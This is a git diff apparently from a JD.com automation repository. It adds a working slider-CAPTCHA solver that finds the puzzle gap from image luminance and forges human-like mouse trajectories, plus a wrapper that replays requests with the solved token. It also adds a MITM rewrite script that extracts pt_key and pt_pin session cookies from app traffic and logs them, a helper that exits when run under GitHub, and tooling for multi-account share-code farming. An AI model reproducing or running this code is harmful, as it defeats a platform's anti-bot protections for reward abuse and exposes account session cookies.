PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; diff --git a/utils/account.json b/utils/account.json new file mode 100644 index 0000000000..7775dfa54e --- /dev/null +++ b/utils/account.json @@ -0,0 +1,11 @@ +[ + { + "pt_pin": "与jdCookie中pt_pin相同,禁止出现中文", + "remarks": "备注", + "wxpusher_uid": "uid" + }, + { + "pt_pin": "jd_xxxx", + "remarks": "大师兄" + } +] \ No newline at end of file diff --git a/utils/empty.json b/utils/empty.json new file mode 100644 index 0000000000..0637a088a0 --- /dev/null +++ b/utils/empty.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/utils/exceptCookie.json b/utils/exceptCookie.json new file mode 100644 index 0000000000..cb4963b79a --- /dev/null +++ b/utils/exceptCookie.json @@ -0,0 +1,8 @@ +{ + "jd_88hb.ts": [ + "jd_xxxxx" + ], + "jd_jxgc.ts": [ + "%E7%A4%BA%E4%BE%8B%E8%B4%A6%E5%8F%B7" + ] +} \ No newline at end of file diff --git a/utils/jdShareCodes.js b/utils/jdShareCodes.js new file mode 100644 index 0000000000..160f4ce9c1 --- /dev/null +++ b/utils/jdShareCodes.js @@ -0,0 +1,72 @@ +// 从日志中获取互助码 + +// process.env.SHARE_CODE_FILE = "/scripts/logs/sharecode.log"; +// process.env.JD_COOKIE = "cookie1&cookie2"; + +exports.JDZZ_SHARECODES = []; +exports.DDFACTORY_SHARECODES = []; +exports.DREAM_FACTORY_SHARE_CODES = []; +exports.PLANT_BEAN_SHARECODES = []; +exports.FRUITSHARECODES = []; +exports.PETSHARECODES = []; +exports.JDJOY_SHARECODES = []; + +let fileContent = ''; +if (process.env.SHARE_CODE_FILE) { + try { + const fs = require('fs'); + if (fs.existsSync(process.env.SHARE_CODE_FILE)) fileContent = fs.readFileSync(process.env.SHARE_CODE_FILE, 'utf8'); + } catch (err) { + console.error(err) + } +} +let lines = fileContent.split('\n'); + +let shareCodesMap = { + "JDZZ_SHARECODES": [], + "DDFACTORY_SHARECODES": [], + "DREAM_FACTORY_SHARE_CODES": [], + "PLANT_BEAN_SHARECODES": [], + "FRUITSHARECODES": [], + "PETSHARECODES": [], + "JDJOY_SHARECODES": [], +}; +for (let i = 0; i < lines.length; i++) { + if (lines[i].includes('京东赚赚')) { + shareCodesMap.JDZZ_SHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('东东工厂')) { + shareCodesMap.DDFACTORY_SHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('京喜工厂')) { + shareCodesMap.DREAM_FACTORY_SHARE_CODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('京东种豆得豆')) { + shareCodesMap.PLANT_BEAN_SHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('东东农场')) { + shareCodesMap.FRUITSHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('东东萌宠')) { + shareCodesMap.PETSHARECODES.push(lines[i].split('】')[1].trim()); + } else if (lines[i].includes('crazyJoy')) { + shareCodesMap.JDJOY_SHARECODES.push(lines[i].split('】')[1].trim()); + } +} +for (let key in shareCodesMap) { + shareCodesMap[key] = shareCodesMap[key].reduce((prev, cur) => prev.includes(cur) ? prev : [...prev, cur], []); // 去重 +} +let cookieCount = 0; +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + cookieCount = process.env.JD_COOKIE.split('&').length; + } else { + cookieCount = process.env.JD_COOKIE.split('\n').length; + } +} + +for (let key in shareCodesMap) { + exports[key] = []; + if (shareCodesMap[key].length === 0) { + continue; + } + for (let i = 0; i < cookieCount; i++) { + exports[key][i] = shareCodesMap[key].sort(() => Math.random() - 0.5).join('@'); + } +} + diff --git a/utils/jd_appopen.js b/utils/jd_appopen.js new file mode 100644 index 0000000000..2116c1f22d --- /dev/null +++ b/utils/jd_appopen.js @@ -0,0 +1,306 @@ +/* + +杀掉后台后打开京东app获取app_open +在脚本日志查看值 + +[MITM] +hostname = api.m.jd.com + +===========Surge================= +[Script] +jd_appopen = type=http-request,pattern=^https:\/\/api\.m\.jd\.com\/openUpgrade, max-size=0, script-path=jd_appopen.js + +===================Quantumult X===================== +[rewrite_local] +# jd_appopen +^https:\/\/api\.m\.jd\.com\/openUpgrade url script-request-header jd_appopen.js + +=====================Loon===================== +[Script] +http-request ^https:\/\/api\.m\.jd\.com\/openUpgrade script-path=jd_appopen.js, timeout=3600, tag=jd_appopen + +*/ + +const $ = new Env("app_open") + +let cookie = $request.headers.Cookie +let pt_key = cookie.match(/(pt_key=[^;]*)/)[1] +let pt_pin = cookie.match(/(pt_pin=[^;]*)/)[1] +console.log('================') +console.log(`${pt_key};${pt_pin};`) +console.log('================') +$.msg("app_open获取成功!", "在运行日志中查看") + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/utils/jd_joy_getInvokeKey.ts b/utils/jd_joy_getInvokeKey.ts new file mode 100644 index 0000000000..3a34f51880 --- /dev/null +++ b/utils/jd_joy_getInvokeKey.ts @@ -0,0 +1,28 @@ +/** + * cron: 0 0 * * * + */ + +import axios from "axios"; +import {sendNotify} from '../sendNotify'; + +!(async () => { + let res: any = await api('https://prodev.m.jd.com/mall/active/2tZssTgnQsiUqhmg5ooLSHY9XSeN/index.html') + let file: string = 'https://storage.360buyimg.com/' + res.match(/htmlSourceUrl":"([^"]*)/)[1] + res = await api(file) + file = 'https:' + res.match(/src="([^"]*)/)[1] + res = await api(file) + file = res.match(/h=n\(\d+\),v="([^"]*)/)[1] + console.log('invokeKey:', file) + if (file !== 'q8DNJdpcfRQ69gIx') { + await sendNotify('invokeKey Update', file) + } +})() + +async function api(url: string) { + let {data}: any = await axios.get(url, { + headers: { + 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36', + } + }) + return data +} \ No newline at end of file diff --git a/utils/jd_joy_validate.js b/utils/jd_joy_validate.js new file mode 100644 index 0000000000..e0f57edb91 --- /dev/null +++ b/utils/jd_joy_validate.js @@ -0,0 +1,444 @@ +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '49.7.27.91'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); 